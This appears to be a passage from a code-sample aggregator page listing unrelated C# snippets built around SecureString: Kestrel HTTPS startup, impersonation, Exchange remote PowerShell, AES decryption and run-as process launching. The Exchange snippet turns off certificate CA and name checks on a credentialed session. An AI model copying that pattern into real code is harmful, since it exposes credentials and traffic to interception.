            //TODO this should be dynamically loaded from Secrets
            var dict = new Dictionary <string, string>
            {
                { "data_storage_service_type", "internal.mongodb" },
                { "connection_string", "mongodb://localhost:27017" }
            };

            var config = new ConfigurationBuilder()
                         .AddInMemoryCollection(dict)
                         .Build();

            // Show the configuration path
            Console.WriteLine("Configuration file path: " + Utils.GetConfigPath());

            // Get the configured environment variable
            string environment = Environment.GetEnvironmentVariable("ASPNETCORE_ENVIRONMENT");

            // Check for configured HTTPS ports
            string httpsOverridePort = Environment.GetEnvironmentVariable("OVERRIDE_HTTPS_PORT");

            if (string.IsNullOrEmpty(httpsOverridePort))
            {
                httpsOverridePort = "443";
            }
            else
            {
                Console.WriteLine("HTTPS Override environment variable found: " + httpsOverridePort);
            }
            int httpsPort = int.Parse(httpsOverridePort);

            // Configure ssl file name and password
            string sslFileName     = "castlepoint.pfx";
            string sslPasswordName = "castlepoint.pfx.pwd";

            if (environment == "Development")
            {
                Console.WriteLine("Development environment detected - setting developer SSL certificate");
                sslFileName     = "castlepoint-localhost.pfx";
                sslPasswordName = "castlepoint-localhost.pfx.pwd";
            }

            // load web certificate
            Console.WriteLine("Loading SSL certificate files...");
            byte[] signingCert = Utils.GetSecretOrEnvVarAsByte(sslFileName);
            if (signingCert == null || signingCert.Length == 0)
            {
                throw new ApplicationException("Invalid SSL certificate. Check the configuration of: " + sslFileName);
            }
            Console.WriteLine("Cert file loaded length=" + signingCert.Length.ToString());

            string certPassword = Utils.GetSecretOrEnvVar(sslPasswordName);

            if (string.IsNullOrEmpty(certPassword))
            {
                throw new ApplicationException("Invalid SSL password. Check the configuration of: " + sslPasswordName);
            }
            else
            {
                certPassword = certPassword.Trim();
            }
            Console.WriteLine("Cert pwd loaded, converting to SecureString...");
            System.Security.SecureString secpwd = new System.Security.SecureString();
            foreach (char c in certPassword.ToCharArray())
            {
                secpwd.AppendChar(c);
            }


            System.Security.Cryptography.X509Certificates.X509Certificate2 cert;
            try
            {
                Console.WriteLine("Loading SSL certificate with key...");
                cert = new System.Security.Cryptography.X509Certificates.X509Certificate2(signingCert, secpwd, System.Security.Cryptography.X509Certificates.X509KeyStorageFlags.MachineKeySet);

                Console.WriteLine("SSL certificate loaded");

                Console.WriteLine("Configuring web host...");

                return(WebHost.CreateDefaultBuilder(args)
                       .UseConfiguration(config)
                       .ConfigureLogging((context, builder) =>
                {
                    builder.AddConsole();
                    builder.AddDebug();
                })
                       .UseStartup <Startup>()
                       .UseKestrel(options =>
                {
                    // Switch based on environment
                    Console.WriteLine("==> Environment detected:" + environment);
                    switch (environment)
                    {
                    case "Production":
                        //options.ListenUnixSocket("/tmp/kestrel-castlepoint-api.sock");
                        //options.ListenUnixSocket("/tmp/kestrel-castlepoint-api.sock", listenOptions =>
                        //{
                        //    listenOptions.UseHttps(cert);
                        //});
                        Console.WriteLine("Starting Web listen service on port " + httpsOverridePort + "...");
                        options.Listen(System.Net.IPAddress.Any, httpsPort, listenOptions =>
                        {
                            listenOptions.UseHttps(cert);
                        });
                        break;

                    case "Staging":
                        //options.ListenUnixSocket("/tmp/kestrel-castlepoint-api.sock");
                        //options.ListenUnixSocket("/tmp/kestrel-castlepoint-api.sock", listenOptions =>
                        //{
                        //    listenOptions.UseHttps(cert);
                        //});
                        Console.WriteLine("Starting Web listen service on port " + httpsOverridePort + "...");
                        options.Listen(System.Net.IPAddress.Any, httpsPort, listenOptions =>
                        {
                            listenOptions.UseHttps(cert);
                        });
                        break;

                    case "Development":
                        Console.WriteLine("Starting Web listen service on port 5001...");

                        options.Listen(System.Net.IPAddress.Any, 5001, listenOptions =>
                        {
                            listenOptions.UseHttps(cert);
                        });

                        break;
                    }
                }));
            }
            catch (Exception ex)
            {
                string exceptionMsg = ex.Message;
                Console.WriteLine("Error loading SSL certificate: " + exceptionMsg);
                throw;
            }



            //    Console.WriteLine("Loading SSL certificate...");
            //var cert = new System.Security.Cryptography.X509Certificates.X509Certificate2(signingCert, certPassword);
            //Console.WriteLine("SSL certificate loaded");
        }
コード例 #57
0
ファイル: Su.cs プロジェクト: ZlayaZhaba/XervBackup
 public static Exception Impersonate(string aUserName, string aDomainName, string aPass)
 {
     System.Security.SecureString s = new System.Security.SecureString();
     foreach (char c in aPass) s.AppendChar(c);
     return Impersonate(aUserName, aDomainName, s);
 }
コード例 #58
0
        public ICustomActivityResult Execute()

        {
            string command = "get-mailbox";

            DataTable dt = new DataTable("resultSet");

            string shellUri = "http://schemas.microsoft.com/powershell/Microsoft.Exchange";

            System.Uri serverUri = new Uri(String.Format("HTTPS://{0}/powershell?serializationLevel=Full", HostName));

            System.Security.SecureString securePassword = new System.Security.SecureString();
            foreach (char c in Password.ToCharArray())
            {
                securePassword.AppendChar(c);
            }
            PSCredential creds = new PSCredential(UserName, securePassword);

            RunspaceConfiguration rc        = RunspaceConfiguration.Create();
            WSManConnectionInfo   wsManInfo = new WSManConnectionInfo(serverUri, shellUri, creds);

            wsManInfo.SkipCNCheck = true;
            wsManInfo.SkipCACheck = true;

            using (var runspace = RunspaceFactory.CreateRunspace(wsManInfo))
            {
                runspace.Open();
                using (PowerShell powershell = PowerShell.Create())
                {
                    powershell.Runspace = runspace;
                    powershell.AddCommand(command);
                    powershell.Commands.AddParameter("Identity", UserLogonName);
                    powershell.Commands.AddParameter("ErrorAction", "stop");

                    Collection <PSObject> results = powershell.Invoke();

                    dt.Columns.Add(PropertyName, typeof(String));

                    StringBuilder stringBuilder = new StringBuilder();
                    foreach (PSObject obj in results)
                    {
                        PSPropertyInfo psInfo = obj.Properties[PropertyName];
                        if (psInfo != null)
                        {
                            if (psInfo.Value != null)
                            {
                                DataRow dr = dt.NewRow();
                                dr[PropertyName] = psInfo.Value.ToString();
                                dt.Rows.Add(dr);
                            }
                        }
                        else
                        {
                            throw new Exception(string.Format("The property \"{0}\" does not exist.", PropertyName));
                        }
                    }
                }
            }

            return(this.GenerateActivityResult(dt));
        }
コード例 #59
0
        /// <summary>
        /// Decrypts the specified data using a 256-bit cipher. The key can be any length.
        /// </summary>
        /// <param name="Data">The data to be decrypted. Will be converted to UTF8.</param>
        /// <param name="Key">The key used to decrypt the data.</param>
        /// <returns>A string containing the decoded data.</returns>
        public static System.Security.SecureString Decrypt256StringSecure(Stream Data, byte[] Key)
        {
            RijndaelManaged AES = null;
            CryptoStream CS = null;
            StreamReader DS = null;
            try
            {
                //Get the IV and length corrected Key.
                KeyData KeyData = GenerateKeyIV128(Key);
                //Create the AES crytpograhy object.
                AES = new RijndaelManaged { BlockSize = 256, KeySize = 256, Key = KeyData.Key, IV = KeyData.IV, Mode = CipherMode.CBC, Padding = PaddingMode.PKCS7 };
                CS = new CryptoStream(Data, AES.CreateDecryptor(), CryptoStreamMode.Read);
                DS = new StreamReader(CS);

                var ss = new System.Security.SecureString();
                while (DS.EndOfStream == false)
                    ss.AppendChar(Convert.ToChar(DS.Read()));
                ss.MakeReadOnly();
                return ss;
            }
            finally
            {
                if (AES != null) AES.Clear();
                if (CS != null) CS.Dispose();
                if (DS != null) DS.Dispose();
            }
        }
コード例 #60
0
        private void RunTaskAsProcess(TaskData taskData)
        {
            _hasErrorMessage  = false;
            _hasOutputMessage = false;
            var process = new Process
            {
                StartInfo = new ProcessStartInfo
                {
                    FileName               = taskData.ActioningData.Command,
                    Arguments              = taskData.ActioningData.Parameters,
                    UseShellExecute        = false,
                    RedirectStandardOutput = true,
                    RedirectStandardError  = true,
                    WorkingDirectory       = taskData.ActioningData.StartIn,
                    CreateNoWindow         = true
                }
            };

            if (taskData.ActioningData.RunAsOther)
            {
                System.Security.SecureString ssPwd = new System.Security.SecureString();
                process.StartInfo.Domain   = taskData.ActioningData.Domain;
                process.StartInfo.UserName = taskData.ActioningData.UserName;
                string password = taskData.ActioningData.Password;
                for (int x = 0; x < password.Length; x++)
                {
                    ssPwd.AppendChar(password[x]);
                }
                process.StartInfo.Password = ssPwd;
            }

            process.OutputDataReceived += Process_OutputDataReceived;
            process.ErrorDataReceived  += Process_ErrorDataReceived;
            process.EnableRaisingEvents = true;
            process.Exited                += Process_Exited;
            _taskData.DebugData.Output     = string.Empty;
            _taskData.DebugData.TaskStatus = ETaskStatus.Running;
            _taskStatus = _taskData.DebugData.TaskStatus;

            string notificationMessageTemplate = "Starting task \"{0}\"... ";
            string notificationMessage         = string.Format(notificationMessageTemplate, _taskData.Name);

            TaskNotification?.Invoke(this, new TaskNotificationEventArgs(notificationMessage, _taskData.Id, _taskData.Name, ENotificationType.TaskStart));
            string managementMessage = ToManagementMessage(notificationMessage);

            _taskData.DebugData.Output += managementMessage;
            ManagementDataReceived?.Invoke(this, new TaskDataReceivedEventArgs(managementMessage, _taskData.Id));

            StatusChanged?.Invoke(this, new TaskStatusChangedEventArgs(_taskStatus, _taskData.Id));
            _taskData.DebugData.DateStarted = DateTime.Now;
            try
            {
                process.Start();
            }
            catch (Exception ex)
            {
                notificationMessageTemplate = "Error while running \"{0}\": \r\b\t:{1}";
                notificationMessage         = string.Format(notificationMessageTemplate, _taskData.Name, ex.Message);
                TaskNotification?.Invoke(this, new TaskNotificationEventArgs(notificationMessage, _taskData.Id, _taskData.Name, ENotificationType.TaskCrash));
                managementMessage           = ToManagementMessage(notificationMessage);
                _taskData.DebugData.Output += managementMessage;
                ManagementDataReceived?.Invoke(this, new TaskDataReceivedEventArgs(managementMessage, _taskData.Id));
            }
            process.BeginOutputReadLine();
            process.BeginErrorReadLine();
            _process = process;
        }